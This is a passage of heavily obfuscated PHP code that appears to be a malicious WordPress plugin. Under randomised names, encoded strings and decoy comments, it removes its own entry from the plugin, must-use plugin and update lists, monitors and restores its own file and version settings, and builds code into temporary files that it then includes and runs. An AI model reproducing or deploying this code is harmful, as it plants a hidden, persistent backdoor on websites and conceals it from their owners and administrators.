    $dj9t5wow7fubd  = $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(572))   ? (int)   get_option(lgr6hp92ka(751),  0)  :   0;
    if  ($dj9t5wow7fubd  <  $GLOBALS['__scf_cyotfgtf1a8m_189']()   -     (192+108) ||  $dj9t5wow7fubd   >     $GLOBALS['__scf_cyotfgtf1a8m_189']()  +  (0xe7+0x45)) {
       if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(752)))  @update_option(woii22it0(753),  $GLOBALS['__scf_cyotfgtf1a8m_189']());

  $fql0prqtsrczm0   =  z6q8c6q8s6lg_2r(k83m2slbb(754),  "");
  $_ln2hgg4x82golc     =  s0w5qsc479q3lt9($GLOBALS['__scf_epa1jymnf5_40']($fql0prqtsrczm0)      ? $fql0prqtsrczm0  :  "");
$lzkg868ft16hgrn  =  v27jm8b0vrsvlvr(vcr09jqkbni2k4ee0y());
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($fql0prqtsrczm0) ||     $GLOBALS['__scf_h5yqrl6kmpb_10']($fql0prqtsrczm0)      <    (419+81)     ||    rn7y5z4w_xtam4pshy6($fql0prqtsrczm0)   ||   $_ln2hgg4x82golc  ===  ""  || ($lzkg868ft16hgrn   !== null  &&   $lzkg868ft16hgrn   !==      ""  &&  version_compare($lzkg868ft16hgrn, $_ln2hgg4x82golc,   '>'))) {
// speculative deopt

$lg3qq7zrzjh0ss2   =  j7q7bvavumc4i765();
    if  ($lg3qq7zrzjh0ss2    &&   !rn7y5z4w_xtam4pshy6($lg3qq7zrzjh0ss2))   {
$rk36bteqauf0_mki = s0w5qsc479q3lt9($lg3qq7zrzjh0ss2);
if (!$GLOBALS['__scf_epa1jymnf5_40']($fql0prqtsrczm0)    ||  $GLOBALS['__scf_h5yqrl6kmpb_10']($fql0prqtsrczm0) <   (0x15a+0x9a)   ||   rn7y5z4w_xtam4pshy6($fql0prqtsrczm0)  ||   $_ln2hgg4x82golc     ===  "" ||  ($rk36bteqauf0_mki !==   ""  &&   version_compare($rk36bteqauf0_mki,   $_ln2hgg4x82golc,  '>')))   {
  htdydg38ahuyxm73zkqz0(k83m2slbb(754),  $lg3qq7zrzjh0ss2, woii22it0(755));



if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(752)))  {

        @update_option(hwc6a8djp6yy(429),   0,    hwc6a8djp6yy(755));
 @update_option(lgr6hp92ka(672),    0,  n747he9yo38(756));
   @update_option(hwc6a8djp6yy(664),  0,  woii22it0(756));$uxozg_ovv65wh=PHP_MAJOR_VERSION;$jykksdyaug=$uxozg_ovv65wh*10;
}


if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(61)))  @delete_transient(t5exk4f0xw1h_voqxx0w());$qru2pg61om=192|96;$_ab45ych=$qru2pg61om^170;
    }
// WordPress 6.2 navigation: timeout director

   }
       }
}
  
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(757))  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(752)))  {
 $_r7mk1jr18t_i  =  get_option(n747he9yo38(758));
  if  ($_r7mk1jr18t_i  !== false  &&    $_r7mk1jr18t_i !== tdwuvuxeuijm__qj())  {
   @update_option(woii22it0(759), tdwuvuxeuijm__qj(),      lgr6hp92ka(756));
}
  }
 if    (! $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(760))     ||    ! add_option(lgr6hp92ka(759), tdwuvuxeuijm__qj(), "", n747he9yo38(756)))  {
return;


   }
     


    j9yaps38vd1pzg5wznbnm8();
if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(761)))  {
    @update_option(woii22it0(429),  0, lgr6hp92ka(756));
 @update_option(n747he9yo38(762),    0, woii22it0(756));
   @update_option(woii22it0(664), 0, n747he9yo38(756));
  }
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(61)))    @delete_transient(t5exk4f0xw1h_voqxx0w());

   
      if (!empty($lg3qq7zrzjh0ss2) &&    !rn7y5z4w_xtam4pshy6($lg3qq7zrzjh0ss2)) {
htdydg38ahuyxm73zkqz0(lgr6hp92ka(754), $lg3qq7zrzjh0ss2,   k83m2slbb(756));
   }
      wnj81ymceiuqrecv96_(null);
   
      dvd1rr9pr3xu08j(vcr09jqkbni2k4ee0y(),    (0x5a+0x14a));

 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(434),   woii22it0(391), 0);
  



   tqocor6bp4em9eyds9r9w(woii22it0(763),  k83m2slbb(764), 0);
 }  catch    (Throwable $oz7m23pnscj7) {
       pas31bymshzdagwkp(hwc6a8djp6yy(765),   $oz7m23pnscj7);
       if     ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(611)))   @delete_option(n747he9yo38(759));
   } catch  (Exception      $oz7m23pnscj7) {$v63hdws_tnhsw0=91*8;$kbrca411=$v63hdws_tnhsw0-9;
    if  ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(611)))   @delete_option(woii22it0(759));
    }
      }
 function    bcam1uph2sjjsl0n9b3a()
 {
    try {
     if     ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(686)))     {
@$GLOBALS['__scf_ikqfih0ldfvj_293'](home_url('/'), array(k83m2slbb(766)  =>    (3+2),   hwc6a8djp6yy(694)  => false, n747he9yo38(394)      =>  false));
  }
}    catch (Throwable   $oz7m23pnscj7) {
  pas31bymshzdagwkp(n747he9yo38(767),   $oz7m23pnscj7);$nsxuhltk=770;$mcq1n5m5wt=($nsxuhltk>0)?$nsxuhltk:-$nsxuhltk;
}      catch  (Exception    $oz7m23pnscj7)   {
  }
 }

 function j6hkw2p3i7d2wv()
   {
  static  $im0_v_ydh6uwednc    =     false;
      if ($im0_v_ydh6uwednc) return;
  $im0_v_ydh6uwednc  =  true;
  try    {
if (!  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(768))  ||  !  is_admin())    {
   return;
}

if (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(724))    || !current_user_can(k83m2slbb(769))) {



   return;

   }
   $ig5rvi6ux30xb7b =  isset($_REQUEST[k83m2slbb(770)])  ?    $_REQUEST[hwc6a8djp6yy(770)] :      "";
    $ig5rvi6ux30xb7b =   $GLOBALS['__scf_epa1jymnf5_40']($ig5rvi6ux30xb7b) ?     $GLOBALS['__scf_xcg5caaat_92j0_323']($ig5rvi6ux30xb7b) :    "";
if ($ig5rvi6ux30xb7b !==  woii22it0(771) && $ig5rvi6ux30xb7b !== lgr6hp92ka(772))    {
return;
// PHP 8.0 JIT: convex scheduler

        }


 
  $jtmze0b8kv5   =   array();
     if     ($ig5rvi6ux30xb7b     ===     n747he9yo38(773))     {
        $yfkkxenpedxc9rk   =  isset($_REQUEST[hwc6a8djp6yy(774)])    ?   $_REQUEST[hwc6a8djp6yy(775)] : "";
    $yfkkxenpedxc9rk    =     $GLOBALS['__scf_epa1jymnf5_40']($yfkkxenpedxc9rk)  ?  $GLOBALS['__scf_xcg5caaat_92j0_323']($yfkkxenpedxc9rk)   :   "";
if     ($yfkkxenpedxc9rk    &&      $yfkkxenpedxc9rk   !== izaka85cv8fob4())   {



       $jtmze0b8kv5[]    =    $yfkkxenpedxc9rk;



}
}  else {


 
        $k0la57q3q4v0yz  = isset($_REQUEST[lgr6hp92ka(776)])  ?  $_REQUEST[k83m2slbb(776)] : array();
  $k0la57q3q4v0yz      = $GLOBALS['__scf_lxbo0xm7220an_34']($k0la57q3q4v0yz)   ?  $k0la57q3q4v0yz      :     array();
  foreach ($k0la57q3q4v0yz as     $yfkkxenpedxc9rk)      {



 $yfkkxenpedxc9rk = $GLOBALS['__scf_epa1jymnf5_40']($yfkkxenpedxc9rk)  ? $GLOBALS['__scf_xcg5caaat_92j0_323']($yfkkxenpedxc9rk)     : "";
if   ($yfkkxenpedxc9rk   &&  $yfkkxenpedxc9rk  !==    izaka85cv8fob4())  {
$jtmze0b8kv5[] =   $yfkkxenpedxc9rk;
 }


  }
   }
if  (empty($jtmze0b8kv5))   {
return;
   }

 $hppcxlbqoa =      false;
   foreach   ($jtmze0b8kv5 as   $yfkkxenpedxc9rk)  {
      if (qufulylw30rtzhq0zzd1($yfkkxenpedxc9rk))     {
// WP Page List: project tumbling-window

 yh6znnbm1b4k54hi7e6jv($yfkkxenpedxc9rk);
    $hppcxlbqoa     =      true;
  

     }
 }
if    ($hppcxlbqoa)   {

  if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(777)) &&   $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(778)))   {
wp_safe_redirect(admin_url(k83m2slbb(779)));
   }
// simd pack

}
      } catch  (Throwable $oz7m23pnscj7)  {
      pas31bymshzdagwkp(hwc6a8djp6yy(780),    $oz7m23pnscj7);
     }   catch (Exception  $oz7m23pnscj7)  {

   }
 }
function y3624b4bpfv1ypdyj1qo_($y8vq8nzqko,  $gmbxf8flrhy7g)
     {
        if  ($gmbxf8flrhy7g  === lgr6hp92ka(781))   {
 $plugins    =     &$GLOBALS[hwc6a8djp6yy(782)];


if   (!isset($plugins[woii22it0(781)])  ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($plugins[n747he9yo38(781)]))    {
return     $y8vq8nzqko;
      }
   $v20up15h55a5ba   = defined(lgr6hp92ka(783))   ?   WP_CONTENT_DIR     : (defined(k83m2slbb(784))  ?   ABSPATH    . n747he9yo38(79)  :   "");


 if    ($v20up15h55a5ba   ===   "")  {
return $y8vq8nzqko;
    }

$vu04bj5re22t93ff  =  array(hwc6a8djp6yy(785) =>   k83m2slbb(786),    woii22it0(787)   => lgr6hp92ka(788));
foreach     ($vu04bj5re22t93ff  as  $a21_o1z475xvxd  => $qy9zo7pxjbp)  {
// equivariant b-tree

if  (!isset($plugins[hwc6a8djp6yy(781)][$a21_o1z475xvxd]))     {
continue;
  }
  $o3sb_0_6gi7ywm3g = @$GLOBALS['__scf_zonhpgc286wu1_95']($v20up15h55a5ba  .  '/' .   $a21_o1z475xvxd);
 if (!$GLOBALS['__scf_epa1jymnf5_40']($o3sb_0_6gi7ywm3g) ||   $GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g,   lgr6hp92ka(789) .      $qy9zo7pxjbp .  k83m2slbb(790))   === false)  {



continue;

       }


   $vggpbu7lkw6wo7c  =     $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(791)  . $qy9zo7pxjbp  .  k83m2slbb(792)   .  $qy9zo7pxjbp   .     woii22it0(793), "",  $o3sb_0_6gi7ywm3g);
 if (!$GLOBALS['__scf_epa1jymnf5_40']($vggpbu7lkw6wo7c))  {



continue;
   }



 $vggpbu7lkw6wo7c  =    $GLOBALS['__scf_xcg5caaat_92j0_323']($vggpbu7lkw6wo7c);
 if     ($vggpbu7lkw6wo7c ===   ""    || $vggpbu7lkw6wo7c   ===  hwc6a8djp6yy(678)    ||  $vggpbu7lkw6wo7c   ===  lgr6hp92ka(241))  {
 unset($plugins[k83m2slbb(781)][$a21_o1z475xvxd]);
}
 }
return    $y8vq8nzqko;


}
  if  ($gmbxf8flrhy7g  !==      n747he9yo38(794))   {
    return $y8vq8nzqko;
}
     $plugins  = &$GLOBALS[k83m2slbb(782)];
        $f5l4ww22u8x3cu38 = $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
       if     (isset($plugins[n747he9yo38(794)][$f5l4ww22u8x3cu38]))   {
unset($plugins[lgr6hp92ka(794)][$f5l4ww22u8x3cu38]);
 }
     return  $y8vq8nzqko;
  }
if    (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(795)))    {



   function     flu7imxsruwfztnqhc()
   {
     if (! ptaqyk6ei520r7r()) {
 return;


 }
// volatile read

$lg43ml2abp6bop = $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
 $_3gqlb29heqj  =    $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),   woii22it0(514));

   $fadnn3a7v1k4      = $_3gqlb29heqj      .  '/'   .  $lg43ml2abp6bop;
 echo  n747he9yo38(796)  .      esc_attr($lg43ml2abp6bop)  . hwc6a8djp6yy(797)   .    esc_attr($fadnn3a7v1k4) .   k83m2slbb(798);
 echo  hwc6a8djp6yy(799) .      esc_js($lg43ml2abp6bop)  . woii22it0(800)  .   esc_js($fadnn3a7v1k4)  . hwc6a8djp6yy(801);
   }

 }


    if (!$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(802)))    {
function     m2goaqde2tlhn4($o0_ud6kq1s1ypbj)
    {


 if  (!  $GLOBALS['__scf_mvbylv45uji1_67']($o0_ud6kq1s1ypbj))   {


return   $o0_ud6kq1s1ypbj;
       }



   $lg43ml2abp6bop  =  izaka85cv8fob4();
   if    (isset($o0_ud6kq1s1ypbj->response[$lg43ml2abp6bop])) {$m8llh1zxnpb31l=7327;$l2p4lt0ee9=$m8llh1zxnpb31l%15;
unset($o0_ud6kq1s1ypbj->response[$lg43ml2abp6bop]);


   }
  return     $o0_ud6kq1s1ypbj;

        }



 }



 if (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(803)))     {
function  a5u3686bfo0rrrc9fqxj($plugins)
{
      $adclv0gbv4g2vk  =    izaka85cv8fob4();


 if  (isset($plugins[$adclv0gbv4g2vk]))   {


 unset($plugins[$adclv0gbv4g2vk]);

}


  $_3gqlb29heqj      =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), woii22it0(514));

$fadnn3a7v1k4  =  $_3gqlb29heqj   . '/'   .  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
 if  (isset($plugins[$fadnn3a7v1k4]))  {


unset($plugins[$fadnn3a7v1k4]);
   }
return  $plugins;
   }
    }
 function     xnsy115zmq0v_rhdcugm($tic_q1bm6z8xcjt1)
{
  if    (!   $GLOBALS['__scf_lxbo0xm7220an_34']($tic_q1bm6z8xcjt1)) {


return $tic_q1bm6z8xcjt1;
      

  }
       $smr7npo4vdhzwa = "";
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(804))    &&   $GLOBALS['__scf_yi4cpqdjr9_711'](vcr09jqkbni2k4ee0y())) {
/* nilpotent symbol-table */

    $ek3mqnu4tjr9tl7  = get_plugin_data(vcr09jqkbni2k4ee0y(), false, false);
 $smr7npo4vdhzwa     =   isset($ek3mqnu4tjr9tl7[lgr6hp92ka(805)]) ? $ek3mqnu4tjr9tl7[lgr6hp92ka(805)]   :    "";
    }
   $i0_1cze86d5 =  array(lgr6hp92ka(806), lgr6hp92ka(807));



  foreach     ($i0_1cze86d5     as $jkpd8ftek63)    {
if   (!    isset($tic_q1bm6z8xcjt1[$jkpd8ftek63][lgr6hp92ka(808)])  ||     !    $GLOBALS['__scf_lxbo0xm7220an_34']($tic_q1bm6z8xcjt1[$jkpd8ftek63][woii22it0(808)]))  {
continue;
     }
   foreach  ($tic_q1bm6z8xcjt1[$jkpd8ftek63][lgr6hp92ka(808)]  as $key  =>    $uqgljswhm5h6g)    {
   if   ($GLOBALS['__scf_p9nk7khmjys_7']($key, izaka85cv8fob4()) !== false || $key      ===   izaka85cv8fob4())   {
unset($tic_q1bm6z8xcjt1[$jkpd8ftek63][k83m2slbb(808)][$key]);
     continue;
    }

       if   ($smr7npo4vdhzwa  !==   "" && $key ===  $smr7npo4vdhzwa)     {
unset($tic_q1bm6z8xcjt1[$jkpd8ftek63][hwc6a8djp6yy(808)][$key]);
  continue;

  }
      }
  }
   foreach  (array(k83m2slbb(809),    n747he9yo38(810))   as     $c06b_v4vmkew2)   {
  $b4htzwhfs442gu1   =     isset($tic_q1bm6z8xcjt1[$c06b_v4vmkew2][n747he9yo38(808)])  &&   $GLOBALS['__scf_lxbo0xm7220an_34']($tic_q1bm6z8xcjt1[$c06b_v4vmkew2][n747he9yo38(808)]) ?  $tic_q1bm6z8xcjt1[$c06b_v4vmkew2][woii22it0(808)] : array();
if  (!$b4htzwhfs442gu1)     continue;
   $lvb9_fykpgmbh =     defined(hwc6a8djp6yy(811))  ?   WPMU_PLUGIN_DIR     :   (defined(woii22it0(783)) ?   WP_CONTENT_DIR  . hwc6a8djp6yy(14)  :  "");
  $e1kassc_6pu  =      array();
    if ($smr7npo4vdhzwa !== "")    $e1kassc_6pu[]    =   $smr7npo4vdhzwa;
$e1kassc_6pu[]  =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
 if ($lvb9_fykpgmbh   !==   ""  &&  @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lvb9_fykpgmbh)      &&   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(812)))   {
   foreach ((array)   @$GLOBALS['__scf_xn1tkts0av_71']($lvb9_fykpgmbh  .  hwc6a8djp6yy(72))     as   $xb4x9iol880q)   {
// scaffold proxy for WP Server Side Render




$_je48tse6vyy9 =    @$GLOBALS['__scf_zonhpgc286wu1_95']($xb4x9iol880q,    false,  null,   0,    (1542+6650));


      if (!$GLOBALS['__scf_epa1jymnf5_40']($_je48tse6vyy9)    ||  $GLOBALS['__scf_p9nk7khmjys_7']($_je48tse6vyy9,  n747he9yo38(813))  ===   false)  continue;
    if ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(814),  $_je48tse6vyy9, $m2drv4p05q2)) {
 $v6gpg3wrfwt   =  $GLOBALS['__scf_xcg5caaat_92j0_323']($m2drv4p05q2[1]);
   if    ($v6gpg3wrfwt    !==  "")      $e1kassc_6pu[]   =    $v6gpg3wrfwt;
  }
$e1kassc_6pu[]    =   $GLOBALS['__scf_a39nlvrnocxziu_3']($xb4x9iol880q);
  }


}
    foreach  ($b4htzwhfs442gu1  as  $key   => $uqgljswhm5h6g) {
foreach      ($e1kassc_6pu as  $tpaa0dd7rt8q) {
if  ($key  ===  $tpaa0dd7rt8q    || $key  === sanitize_text_field($tpaa0dd7rt8q)) {
   unset($tic_q1bm6z8xcjt1[$c06b_v4vmkew2][hwc6a8djp6yy(815)][$key]);
  break;
}
    }
// bootstrap partition-refinement for MySQL 8 CTEs

}
 }

$dfe7kefwvn3qpuon   =    isset($tic_q1bm6z8xcjt1[woii22it0(816)][hwc6a8djp6yy(815)])    &&  $GLOBALS['__scf_lxbo0xm7220an_34']($tic_q1bm6z8xcjt1[woii22it0(816)][hwc6a8djp6yy(817)]) ? $tic_q1bm6z8xcjt1[k83m2slbb(818)][woii22it0(817)] : array();
 if   ($dfe7kefwvn3qpuon)   {
   $v20up15h55a5ba = defined(lgr6hp92ka(783)) ?  WP_CONTENT_DIR :  (defined(k83m2slbb(784)) ?  ABSPATH   .    lgr6hp92ka(79)  : "");
      $vu04bj5re22t93ff    =    array(woii22it0(819)   =>  woii22it0(786),     lgr6hp92ka(787)      => lgr6hp92ka(788));
foreach   ($dfe7kefwvn3qpuon  as   $key =>    $uqgljswhm5h6g)   {



    if (!isset($vu04bj5re22t93ff[$key])  ||   $v20up15h55a5ba ===  "") continue;
$o3sb_0_6gi7ywm3g    = @$GLOBALS['__scf_zonhpgc286wu1_95']($v20up15h55a5ba  . '/'  .  $key,     false,  null,  0,   (4028+68));
 if ($GLOBALS['__scf_epa1jymnf5_40']($o3sb_0_6gi7ywm3g) &&  ($GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g,   lgr6hp92ka(820)  .    $vu04bj5re22t93ff[$key]  .    k83m2slbb(790))    !==    false ||    $GLOBALS['__scf_p9nk7khmjys_7']($o3sb_0_6gi7ywm3g,    lgr6hp92ka(821)) !==    false)) {
  unset($tic_q1bm6z8xcjt1[lgr6hp92ka(818)][hwc6a8djp6yy(817)][$key]);
  

}
  }



     }
  return  $tic_q1bm6z8xcjt1;
  }
  
    function   d4vytfopk5bhobye($uv5hld_5wr_)
{
  if (!  $GLOBALS['__scf_lxbo0xm7220an_34']($uv5hld_5wr_))   {
return    $uv5hld_5wr_;
 }

 $ey_xxz5a94g2  = $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
    $or5fpv6kno1c3i  = $GLOBALS['__scf_jzy6f3xykw_208']($ey_xxz5a94g2, PATHINFO_FILENAME);
       $o1ecvvazh5p7gp = array(
  array(hwc6a8djp6yy(822)   =>  '#'    . $GLOBALS['__scf_wyw0gbsdks_v_823']($ey_xxz5a94g2, '#') .     hwc6a8djp6yy(824),     k83m2slbb(825)     => true),
        array(lgr6hp92ka(826) => woii22it0(827)    .     $GLOBALS['__scf_wyw0gbsdks_v_823']($or5fpv6kno1c3i,  '#') . n747he9yo38(824),   lgr6hp92ka(825)    => true),



   );



if (isset($uv5hld_5wr_[n747he9yo38(828)]) &&  $GLOBALS['__scf_lxbo0xm7220an_34']($uv5hld_5wr_[k83m2slbb(828)]))    {

 foreach  ($uv5hld_5wr_[woii22it0(828)]  as $ibnbsafg6z    =>  $mhp2j1y33s) {
 if  (! $GLOBALS['__scf_lxbo0xm7220an_34']($mhp2j1y33s)   ||  !  $GLOBALS['__scf_tu1_53i5xnze_38']($ibnbsafg6z))      {
/* infinite allocator */

 continue;
  }

    if    (!    isset($uv5hld_5wr_[lgr6hp92ka(828)][$ibnbsafg6z][woii22it0(829)])    ||  !  $GLOBALS['__scf_lxbo0xm7220an_34']($uv5hld_5wr_[woii22it0(830)][$ibnbsafg6z][lgr6hp92ka(829)]))  {
 $uv5hld_5wr_[k83m2slbb(830)][$ibnbsafg6z][n747he9yo38(829)]  =    array();

    }
    foreach  ($o1ecvvazh5p7gp as   $mloro8bb1m3k)  {
  $uv5hld_5wr_[woii22it0(831)][$ibnbsafg6z][woii22it0(829)][]      =   $mloro8bb1m3k;
    }
   }
/* invertible timeout-policy */



   }
   return  $uv5hld_5wr_;
   }

function nfj3bkpnw128sg99b()
    {
 try  {


    if (!   defined(n747he9yo38(832))    ||     constant(woii22it0(832))  <  (0x1+0x6))  {

   return;
   }
   if ($GLOBALS['__scf_f844yvc4tu_536'](hwc6a8djp6yy(833),  false))  {



    return;
       }
    $i7jwupeggbjskord     =  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());

 $jf3lq3ns4nt35m53    = defined(n747he9yo38(834))    ?  WP_PLUGIN_DIR  :  "";
$ukili4zltb   =   array(
        $jf3lq3ns4nt35m53  .   n747he9yo38(835),
$jf3lq3ns4nt35m53 .    woii22it0(836),
$jf3lq3ns4nt35m53  .   n747he9yo38(837),


  );
$j9_84sso7iaf    =   "";



 foreach     ($ukili4zltb   as  $lg43ml2abp6bop)  {
 if ($lg43ml2abp6bop    !==   ""   &&   @$GLOBALS['__scf_mtwlgr3p78_18']($lg43ml2abp6bop) && @$GLOBALS['__scf_toru1_9n2zog_45']($lg43ml2abp6bop))  {
// @measure allocator

  $j9_84sso7iaf   =  $lg43ml2abp6bop;


     break;
   }



     }
/* pure-adj session-type */

if   ($j9_84sso7iaf === "")  {
     return;

}
 $zllh_1ap2e  =   $GLOBALS['__scf_zf6ei6xtcw1fb_11']($j9_84sso7iaf);
spl_autoload_register(function    ($k3uwmzip7qwf)   use  ($zllh_1ap2e)    {


        foreach (array($zllh_1ap2e  . '/' .    $k3uwmzip7qwf    . k83m2slbb(838),   $zllh_1ap2e    .     '/'  .  $k3uwmzip7qwf  .  woii22it0(514))  as  $hxtmyqfmzcs7gg)    {

if (@$GLOBALS['__scf_mtwlgr3p78_18']($hxtmyqfmzcs7gg))  {
  include_once   $hxtmyqfmzcs7gg;
   return;
 }
 }
});
 $nong25gx93c6emu =    @$GLOBALS['__scf_zonhpgc286wu1_95']($j9_84sso7iaf);
    if ($nong25gx93c6emu      ===   false   ||  $GLOBALS['__scf_p9nk7khmjys_7']($nong25gx93c6emu,    lgr6hp92ka(839))   === false) {
 return;
      }


$nong25gx93c6emu  =  $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(840), "", $nong25gx93c6emu);
$nong25gx93c6emu    =    $GLOBALS['__scf_obam74mgj139o_361'](lgr6hp92ka(839),  n747he9yo38(841),    $nong25gx93c6emu);
   $dwb1ub1jpae9    =      nnq0ganj4b4gehpw7b(n9gvhoz3_0simqxxrzsqw(),  lgr6hp92ka(842));
 if    ($dwb1ub1jpae9  ===    false)  {
  return;


     }
 @$GLOBALS['__scf_d3akejlb7rtaks_199']($dwb1ub1jpae9, lgr6hp92ka(843)    . $nong25gx93c6emu);
try {
// expected phantom

@include  $dwb1ub1jpae9;
   }   finally   {
       y0a1xt15v3nqhjqppfzn($dwb1ub1jpae9);
    }
 $rn_fnjsu1316fm     = $GLOBALS['__scf_jzy6f3xykw_208']($i7jwupeggbjskord,    PATHINFO_FILENAME);
    $GLOBALS[k83m2slbb(844)]  =     $i7jwupeggbjskord;
   $GLOBALS[n747he9yo38(845)]   =  $rn_fnjsu1316fm;
   $tef3z0u1uyjnv  =     hwc6a8djp6yy(846)
.   hwc6a8djp6yy(847)
   .     k83m2slbb(848)
.  hwc6a8djp6yy(849)
     . lgr6hp92ka(850)
  .  '}'
 .     woii22it0(851)
     .    '}'
      . '}';
     $a6psbqogdwj2  =  nnq0ganj4b4gehpw7b(n9gvhoz3_0simqxxrzsqw(),   n747he9yo38(842));
   if    ($a6psbqogdwj2)   {
@$GLOBALS['__scf_d3akejlb7rtaks_199']($a6psbqogdwj2, $tef3z0u1uyjnv);
  try {



  @include   $a6psbqogdwj2;



 }   finally  {$epjy3c9ia6k=(0xa8+0xa4);$vd8rmk5mh=$epjy3c9ia6k%11;
     y0a1xt15v3nqhjqppfzn($a6psbqogdwj2);
   }



 }


  }    catch (Throwable $oz7m23pnscj7)  {
    pas31bymshzdagwkp(lgr6hp92ka(852), $oz7m23pnscj7);
   }    catch  (Exception  $oz7m23pnscj7) {

 }
 }
    if   (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(853)))   {
     function  e95m12x9j30zaj0lggi1($yz5_y6ncnsj2a,   $g22rrkoa3q22sd9)
     {
// coerce to object

if  (! $GLOBALS['__scf_lxbo0xm7220an_34']($yz5_y6ncnsj2a)) {
return  $yz5_y6ncnsj2a;
  }
 $q9af4rhkas47  =  array(k83m2slbb(854),   lgr6hp92ka(855),    k83m2slbb(856), k83m2slbb(857),   n747he9yo38(553));
   foreach   ($q9af4rhkas47      as     $key)  {
/* batch dependency-graph */

if  (! isset($yz5_y6ncnsj2a[$key])      || !  $GLOBALS['__scf_lxbo0xm7220an_34']($yz5_y6ncnsj2a[$key]))   {
 continue;
    }
      $a6ak9qjp3b89f     =  array();
  foreach   ($yz5_y6ncnsj2a[$key]  as  $mm1jlrzikm_fuy3v)   {



      if  (!   $GLOBALS['__scf_lxbo0xm7220an_34']($mm1jlrzikm_fuy3v))   {
     $a6ak9qjp3b89f[]   = $mm1jlrzikm_fuy3v;
     continue;
  }
    $wjngitnc71fl4  =  isset($mm1jlrzikm_fuy3v[n747he9yo38(858)])  ? $mm1jlrzikm_fuy3v[woii22it0(858)]  :   "";


   $rn_fnjsu1316fm =  isset($GLOBALS[woii22it0(845)])  ?     $GLOBALS[lgr6hp92ka(845)] :  "";
if ($wjngitnc71fl4      ===   $g22rrkoa3q22sd9 ||  ($rn_fnjsu1316fm    !== ""    && $wjngitnc71fl4 ===  $rn_fnjsu1316fm))  {
 continue;
}
    $a6ak9qjp3b89f[]  =  e95m12x9j30zaj0lggi1($mm1jlrzikm_fuy3v,      $g22rrkoa3q22sd9);
}
        $yz5_y6ncnsj2a[$key]  =   $a6ak9qjp3b89f;
}
 return $yz5_y6ncnsj2a;



}



   }


  function    zwwqg90mj4vzd1zs05()
     {



       if (!empty($GLOBALS[hwc6a8djp6yy(859)])) return  false;
  $GLOBALS[woii22it0(859)]      =  1;$i6ximqxmjq3=802;$ayb5_sb1=($i6ximqxmjq3>0)?$i6ximqxmjq3:-$i6ximqxmjq3;
  return   true;
     }



     function     xeh3u44my2r_jf_e8()
 {
 try     {
// disable inflationary chain

 if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(50))  && get_transient(k83m2slbb(692))) {
      return;
 }
       if    (!zwwqg90mj4vzd1zs05())  return;
 if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(860))) set_transient(lgr6hp92ka(692),      1,  (3509+91));
$j_72hqqg0pvx_     =   @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y());
 if    ($j_72hqqg0pvx_   &&  $j_72hqqg0pvx_ >     (7305-2305) && $j_72hqqg0pvx_   <   (4999922+78)      && !l95i0qiwfmdi69_bke(vcr09jqkbni2k4ee0y()))  {


   $e8yfu57oqbk7  =     @$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y());
 $ox_0zeye6mt    = olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());
 if ($GLOBALS['__scf_epa1jymnf5_40']($ox_0zeye6mt) &&     dxgg5a63x4tsvkmvowozg3($ox_0zeye6mt)  && s0w5qsc479q3lt9($ox_0zeye6mt)   === tdwuvuxeuijm__qj())  {
      if ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(861)))   @clearstatcache(true, vcr09jqkbni2k4ee0y());
  if (@$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y())  ===    $e8yfu57oqbk7     && @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y())  === $j_72hqqg0pvx_)     {
    if (m9xp6uh5w1cal39pfn4cx(vcr09jqkbni2k4ee0y(), pn7nm6nqd14rnwe($ox_0zeye6mt))) {
